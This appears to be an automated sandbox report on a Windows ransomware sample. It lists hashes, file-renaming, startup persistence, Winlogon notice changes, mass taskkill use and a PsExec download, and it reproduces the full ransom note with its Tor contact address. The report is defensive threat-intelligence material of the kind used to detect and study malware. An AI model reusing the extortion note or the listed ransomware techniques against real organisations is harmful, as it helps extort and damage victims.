32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6

Resubmissions

29-10-2021 12:12

211029-pdkbzsaaap 10

Analysis

max time kernel
91s
max time network
101s
platform
windows7_x64
resource
win7-en-20210920
submitted
29-10-2021 12:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Size

152KB
MD5

af9622a8b6a46866f00f9ff35b7f16b6
SHA1

6a81a6e01f502cdb5893d423417bde2448882ac2
SHA256

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6
SHA512

e4effba4959ff985bd63cd0f533c368c88370a25c90eef5e9bef82eab101d2ea1a2bbd33aad1da3cb629b894c2777c8f6c35fd6729b65b8580c54f90a13fb2c2

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Ransom Note

YOUR COMPANY WAS HACKED AND COMPROMISED!!! All your important files have been encrypted! Our encryption algorithms are very strong and your files are very well protected, the only way to get your files back is to cooperate with us and get the decrypter program. Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. ____________________________________________________________________________________ For us this is just business and to prove to you our seriousness, we will decrypt you three files for free. Just open our website, upload the encrypted files and get the decrypted files for free. ____________________________________________________________________________________ ! WARNING ! Whole your network was fully COMPROMISED! We has DOWNLOADED of your PRIVATE SENSITIVE Data, including your Billing info, Insuranse cases, Financial reports, Business audit, Banking Accounts! Also we have corporate correspondence, information about your clients. We got even more info about your partners and even about your staff. Additionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself to huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before cases with multi million costs in fines and lawsuits, not to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how fast we both can find an agreement without getting this incident public. ____________________________________________________________________________________ IF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. YOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. ____________________________________________________________________________________ WE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR ENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES GOOD SUPPORT. Instructions for contacting us: ____________________________________________________________________________________ You have way: 1) Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ and paste it in the Tor browser. c. Start a chat and follow the further instructions. Key Identifier: RY8KIqcMSmk0LmmFAV1m1qsLuCL7HDS+7/SsVGZXtd/CLB9zq1obiUCSI9VtMOR8R8D6482hzaTBLasrVxx4kPPNyQBqUqVo16hGupAnq8pUXTBuQ/+7wJ52Z/0RC+DnEOXDzLJeO4jfYNAn0gRhRm7rP30f/lhlJuGzuypOp0IOzWegjDwOpBAJLZDUDOYx3GTCoVYhLHAYLc2jB46LkyVZRpSMsEXAdPzdmrhw3z5tnQ35+5M/rIyXgAAEC9oaPAC+YXKEySXOjOyEpIBe3ecVkgmEiT9k9ah1BApi7T/tMvFLlMiBGPB9/nrrvK06ifJmODVda0FJal4ciKC0RrVSNXMZgNYcgV1DVJVJ3SoxytkNcl/mf/h4jcAQWflGTyQD18ayqSI3fOU5oFxFXcBqiArLCK2FQYBanxgy7pTlVeOS1s3q6OyFXPamEL5b/etXSkQjf8FbGPi/ENtIEmNEIvysSWhAaIfqS6EAaFCZgk6vbk6tqfzQBklnrJtC8mUWrcwPPuC/RP5829fD6EvyEhwtjIBG0NbWhjh/hsosV3Zwge0cKt5F9VUPOPFWPoyepc4VVSUj9u1TMsTLmK2lLHgi5NFvsCbIVRg2yoSQOpBmtBqD2TPmnmt7vgTEdT0iHEC4e/6zYbJSwWC23bf0HHbcSTHDruNrclIo+Uc=

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt

Ransom Note

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Ransom Note

URLs

http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=PUUEQS8AEJ

Signatures

Downloads MZ/PE file

Downloads PsExec from SysInternals website 1 IoCs

Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

Processes:

description	flow	ioc
HTTP URL	11	http://live.sysinternals.com/PsExec.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\MountGet.crw => C:\Users\Admin\Pictures\MountGet.crw.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\MountGet.crw.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\PopReceive.tiff	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\PopReceive.tiff => C:\Users\Admin\Pictures\PopReceive.tiff.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\PopReceive.tiff.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File renamed	C:\Users\Admin\Pictures\SelectRead.png => C:\Users\Admin\Pictures\SelectRead.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\Admin\Pictures\SelectRead.png.PUUEQS8AEJ	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
1712	cmd.exe

Drops startup file 1 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Drops desktop.ini file(s) 6 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
File opened (read-only)	\??\E:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\I:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\A:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\N:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\U:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\O:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\S:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\H:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Z:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\X:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\M:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Q:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\W:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\R:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\T:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\P:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\F:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\G:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\Y:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\J:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\K:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\L:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\V:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
File opened (read-only)	\??\B:	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	Process
1824	taskkill.exe
668	taskkill.exe
1696	taskkill.exe
1076	taskkill.exe
1472	taskkill.exe
1404	taskkill.exe
932	taskkill.exe
532	taskkill.exe
1676	taskkill.exe
1600	taskkill.exe
1056	taskkill.exe
1616	taskkill.exe
888	taskkill.exe
872	taskkill.exe
1616	taskkill.exe
1988	taskkill.exe
828	taskkill.exe
1732	taskkill.exe
848	taskkill.exe
1688	taskkill.exe
1604	taskkill.exe
1700	taskkill.exe
1100	taskkill.exe
1536	taskkill.exe
944	taskkill.exe
1164	taskkill.exe
1964	taskkill.exe
1672	taskkill.exe
592	taskkill.exe
1316	taskkill.exe
752	taskkill.exe
872	taskkill.exe
1940	taskkill.exe
1984	taskkill.exe
1636	taskkill.exe
788	taskkill.exe
792	taskkill.exe
364	taskkill.exe
988	taskkill.exe
880	taskkill.exe
1692	taskkill.exe
1540	taskkill.exe
1960	taskkill.exe
1696	taskkill.exe
524	taskkill.exe
1552	taskkill.exe
912	taskkill.exe
1948	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1048	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1716	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

pid	Process
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Token: SeDebugPrivilege	1824	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	524	taskkill.exe
Token: SeDebugPrivilege	1604	taskkill.exe
Token: SeDebugPrivilege	532	taskkill.exe
Token: SeDebugPrivilege	828	taskkill.exe
Token: SeDebugPrivilege	1164	taskkill.exe
Token: SeDebugPrivilege	1692	taskkill.exe
Token: SeDebugPrivilege	1676	taskkill.exe
Token: SeDebugPrivilege	1732	taskkill.exe
Token: SeDebugPrivilege	1552	taskkill.exe
Token: SeDebugPrivilege	668	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	1964	taskkill.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	1672	taskkill.exe
Token: SeDebugPrivilege	1316	taskkill.exe
Token: SeDebugPrivilege	592	taskkill.exe
Token: SeDebugPrivilege	1700	taskkill.exe
Token: SeDebugPrivilege	788	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1076	conhost.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	1100	taskkill.exe
Token: SeDebugPrivilege	1472	taskkill.exe
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	1540	taskkill.exe
Token: SeDebugPrivilege	1960	taskkill.exe
Token: SeDebugPrivilege	1616	taskkill.exe
Token: SeDebugPrivilege	872	taskkill.exe
Token: SeDebugPrivilege	792	taskkill.exe
Token: SeDebugPrivilege	1536	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	944	taskkill.exe
Token: SeDebugPrivilege	912	taskkill.exe
Token: SeDebugPrivilege	364	taskkill.exe
Token: SeDebugPrivilege	932	taskkill.exe
Token: SeDebugPrivilege	888	taskkill.exe
Token: SeDebugPrivilege	872	taskkill.exe
Token: SeDebugPrivilege	1940	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1616	taskkill.exe
Token: SeDebugPrivilege	1988	taskkill.exe
Token: SeDebugPrivilege	988	taskkill.exe
Token: SeDebugPrivilege	880	taskkill.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	1964	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

pid	Process
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

pid	Process
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	pid	Process	procid_target
PID 1580 wrote to memory of 1824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	29
PID 1580 wrote to memory of 1824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	29
PID 1580 wrote to memory of 1824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	29
PID 1580 wrote to memory of 1824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	29
PID 1580 wrote to memory of 952	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	31
PID 1580 wrote to memory of 952	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	31
PID 1580 wrote to memory of 952	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	31
PID 1580 wrote to memory of 952	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	31
PID 1580 wrote to memory of 1048	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	33
PID 1580 wrote to memory of 1048	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	33
PID 1580 wrote to memory of 1048	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	33
PID 1580 wrote to memory of 1048	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	33
PID 1580 wrote to memory of 1872	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	35
PID 1580 wrote to memory of 1872	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	35
PID 1580 wrote to memory of 1872	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	35
PID 1580 wrote to memory of 1872	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	35
PID 1580 wrote to memory of 1940	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	37
PID 1580 wrote to memory of 1940	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	37
PID 1580 wrote to memory of 1940	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	37
PID 1580 wrote to memory of 1940	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	37
PID 1580 wrote to memory of 1068	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	39
PID 1580 wrote to memory of 1068	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	39
PID 1580 wrote to memory of 1068	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	39
PID 1580 wrote to memory of 1068	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	39
PID 1580 wrote to memory of 984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	41
PID 1580 wrote to memory of 984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	41
PID 1580 wrote to memory of 984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	41
PID 1580 wrote to memory of 984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	41
PID 1580 wrote to memory of 328	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	42
PID 1580 wrote to memory of 328	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	42
PID 1580 wrote to memory of 328	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	42
PID 1580 wrote to memory of 328	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	42
PID 1580 wrote to memory of 1712	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	45
PID 1580 wrote to memory of 1712	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	45
PID 1580 wrote to memory of 1712	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	45
PID 1580 wrote to memory of 1712	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	45
PID 1580 wrote to memory of 1736	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	47
PID 1580 wrote to memory of 1736	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	47
PID 1580 wrote to memory of 1736	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	47
PID 1580 wrote to memory of 1736	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	47
PID 1580 wrote to memory of 1728	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	48
